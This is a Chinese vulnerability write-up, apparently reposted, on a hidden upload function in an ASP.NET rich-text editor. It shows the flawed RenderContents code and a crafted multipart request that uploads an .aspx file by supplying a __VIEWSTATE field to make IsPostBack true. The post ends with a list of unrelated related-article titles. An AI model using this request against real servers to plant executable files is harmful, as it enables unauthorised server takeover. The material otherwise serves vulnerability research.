在这个文本编辑器上没有找到任何按钮是可以直接上传文件的(只有插入文件上传按钮,没啥用),但是代码里面是隐藏有这样一个功能的:

code 区域

protected override void RenderContents(HtmlTextWriter output)

{

if (this.Page.IsPostBack) //判断是否第一次访问,这个是小的关键点

{

//if there is an uploaded file

HttpFileCollection UploadFile =this.Page.Request.Files;

for (int i = 0; i < UploadFile.Count; i++)

{

HttpPostedFile file = UploadFile[i];

string FileName = Path.GetFileName(file.FileName);

string StrPath = this.Page.MapPath("~/Uploads/");

try

{

file.SaveAs(Path.Combine(StrPath, FileName));

}

catch (DirectoryNotFoundException DirectoryNullException)

{

output.Write(DirectoryNullException.Message);

}

}

}

Page.ClientScript.GetPostBackEventReference(this.Page, string.Empty);

HtmlSourceInitializer.InitializeHtmlSource(this.Page);

output.Write(HtmlSourceInitializer.RichTextHtmlSource.ToString());

}

RenderContents是绘制自定义控件时会自动调用的一个方法,这个编辑器直接把他重写了。

里面对于文件上传的判断,主要是由this.Page.IsPostBack来控制的,IsPostBack意思简述就是“是否是第一次访问该页面”。

更多请看:

http://**.**.**.**/zh-cn/library/system.web.ui.page.ispostback.aspx

所以,对于IsPostBack的值的控制,是是否可以成功上传文件的关键。

所以我们先考虑下,有没有比较万全的方法,可以使得IsPostBack的值可以为true(为true我们就可以上传文件了啊)

先搞一个文件上传的html试试:

上传了,文件夹里面并没有生成文件:

所以很肯定的一点,就是直接用这个方法上传文件,ispostback是肯定不会有true的!

再用自带的demo,里面有一个get data的按钮,直接点击

我们会看到自动提交了很多数据,在里面插入一段文件的代码:

code 区域

Content-Disposition: form-data; name="file"; filename="a.aspx"

Content-Type: application/xml

ai

先去掉其它东西,留下viewstate和这段file代码

code 区域

------WebKitFormBoundaryI4bps9FYvWWWngDb

Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUKMjEyNTk0Njc3Ng9kFgRmDxYCHglpbm5lcmh0bWwFqAQ8dGl0bGU+S3VsZWguY29tPC90aXRsZT48bGluayByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJyBocmVmPScvV2ViUmVzb3VyY2UuYXhkP2Q9VE54b2cyVGt0YzA1aFdidHg3OXpBOG5UbWEyWEhUSmxrNkozSV9OUWhmVjRpeVNIcnhvRHJNSXVjSEFlTl9fd25Fb3cyMGM0VGQwWmhIeWtJcDd2S2cyJnQ9NjM0OTcxMjg4NjU2MDgyOTcwJyAvPjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnIGhyZWY9Jy9XZWJSZXNvdXJjZS5heGQ/ZD1UTnhvZzJUa3RjMDVoV2J0eDc5ekE4blRtYTJYSFRKbGs2SjNJX05RaGZWaVlLUGtBdUJJQUVteFFKU1ozejZwM0VvdVExZThWU3o2anJIODEtLU1YZzImdD02MzQ5NzEyODg2NTYwODI5NzAnIC8+PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nL1dlYlJlc291cmNlLmF4ZD9kPVROeG9nMlRrdGMwNWhXYnR4Nzl6QThuVG1hMlhIVEpsazZKM0lfTlFoZlhpYnhrVk12RTB1WndQVi1NZmg5Ui1seWt1aHVfczFGQ0tDNGRmbk12cGl3MiZ0PTYzNDk3MTI4ODY1NjA4Mjk3MCcgLz5kAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZH1GEi58juKz50rMm0Z+FcD3dEUs

------WebKitFormBoundaryI4bps9FYvWWWngDb

Content-Disposition: form-data; name="file"; filename="a.aspx"

Content-Type: application/xml

ai

------WebKitFormBoundaryI4bps9FYvWWWngDb—

此时测试是可以成功上传文件的:

先解开viewstate看看,看是否存在某一个值比如ispostback=true?

仔细对照了下,没有发现任何的地方是有ispostback=true的。

再清空viewstate,让viewstate=null

一样成功上传了文件

所以按这个情况来分析,ispostback=true的一个条件是存在viewstate这个参数!只要viewstate是正确的或者为空值,都可以成立(千万不能乱伪造,接不开viewstate会导致系统报错,会500)。

综上,当遇到需要控制ispostback的值为true的时候,只要存在一个可控不会报错的viewstate值,服务器就会自动判断你不是第一次访问该页面,可以直接用类似下面的html代码解决问题:

code 区域

小漏洞里面也可以研究出一些小知识,希望大家受益。这个点可能还可以用在很多其它系统上,说不定会有很给力的效果(比如一些绕过)。

html 编辑器编码漏洞,某富文本编辑器文件上传漏洞(小论如何控制IsPostBack的值) | CN-SEC 中文网...相关推荐

  1. fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

    一.编辑器漏洞 1.编辑器 编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档. 编辑器通常分为两种情况: (1) 不需要后台验证,可以直接在前台访问且 ...

  2. 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)

    这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...

  3. kindeditor php 漏洞,kindeditor=4.1.5 文件上传漏洞 | CN-SEC 中文网

    摘要 漏洞存在于 kindeditor 编辑器里,你能上传. txt 和. html 文件,支持 php/asp/jsp/asp.net 漏洞存在于 kindeditor 编辑器里,你能上传. txt ...

  4. struts2 ajax上传文件 file空_WordPress插件漏洞分析:WPDiscuz任意文件上传漏洞

    写在前面的话 就在不久之前,Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件中发现了一个高危漏洞,而这款插件目前已有超过80000个网站在使用了.这个漏洞将允许未 ...

  5. uploadify.php 漏洞,PhotoStore “uploadify.php”任意文件上传漏洞

    发布日期:2014-01-08 更新日期:2014-01-12 受影响系统: ktools PhotoStore 4.0.7 描述: --------------------------------- ...

  6. 文件上传漏洞ED01-CMS v20180505 存在任意文件上传漏洞

    进入登陆页面我们弱口令admin:admin登录成功: 登录后我们进入user目录上传图片: 我们上传shell.png,抓包修改为shell.php; <?php system($_GET(1 ...

  7. [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了文件上传漏洞和IIS6.0解析漏洞,包括PHP345文件绕过上传.Win ...

  8. kindeditor编辑器文件上传漏洞

    kindeditor编辑器版本小于4.1.5存在文件上传漏洞,可利用该漏洞上次网页.文本文件,可网站进行篡改,添加赌博.反共等违法信息. 通过扫描器发现该网站存在编辑器. 通过浏览器访问,确定该编辑器 ...

  9. 文件上传漏洞-原理篇

    目录 第1章 文件上传漏洞基础 1.1 漏洞概述 1.2 漏洞成因 1.3 漏洞危害 1.4 漏洞利用姿势 第2章 文件上传漏洞检测与绕过 2.1 前端检测和绕过 2.2 服务器端检测和绕过 第3章 ...

最新文章

  1. Windows下Unity5x的安装
  2. springmvc的讲解
  3. 基于Token进行身份验证
  4. mysql数据库中的校对集
  5. scala-wordcount
  6. 边缘计算比云计算强在哪里?终于有人讲明白了
  7. rx550 黑苹果_黑苹果Hackintosh显卡入手指南
  8. 胖客户端、瘦客户端与智能客户端
  9. 计算机专业选锐龙还是英特尔,如何选择cad制图用英特尔还是锐龙?
  10. 使用Cytoscape-BiNGO 对非模式生物做go富集
  11. python安装后不能画图_Python实现画图软件功能,windows的画图功能不能实现
  12. 数贝携手付晓岩老师带你玩转“企业架构”
  13. html5 窗口 最小化,HTML5 窗口最小化动画(先压扁后变窄)
  14. java科大讯飞语音合成,亲测
  15. ThreadPoolExecutor中addWorker,continue retry和break retry是什么意思
  16. Anemometer让慢查询可视化
  17. 中国石油大学《机械电气安全技术(含课程设计)》第三阶段在线作业
  18. H-1B身份六年后的延期问题
  19. less与sass的区别
  20. 转载 如何用示波器进行UART串口数据分析

热门文章

  1. 怎么查看建筑图纸?有什么技巧吗?
  2. scratch字母点头问好 电子学会图形化编程scratch等级考试一级真题和答案2020-9
  3. 打开Visual Studio Community 2017 报出“许可证已过期”
  4. 文字保护纱-Material Design
  5. 重学 Java 设计模式:实战访问者模式「模拟家长与校长,对学生和老师的不同视角信息的访问场景」
  6. 隧道技术(Tunneling)
  7. 数据挖掘常用算法总结
  8. 极大似然估计法的原理和方法
  9. 中国石油大学《计算机网络课程设计》第三次在线作业
  10. H3C(s1850)初始化配置流程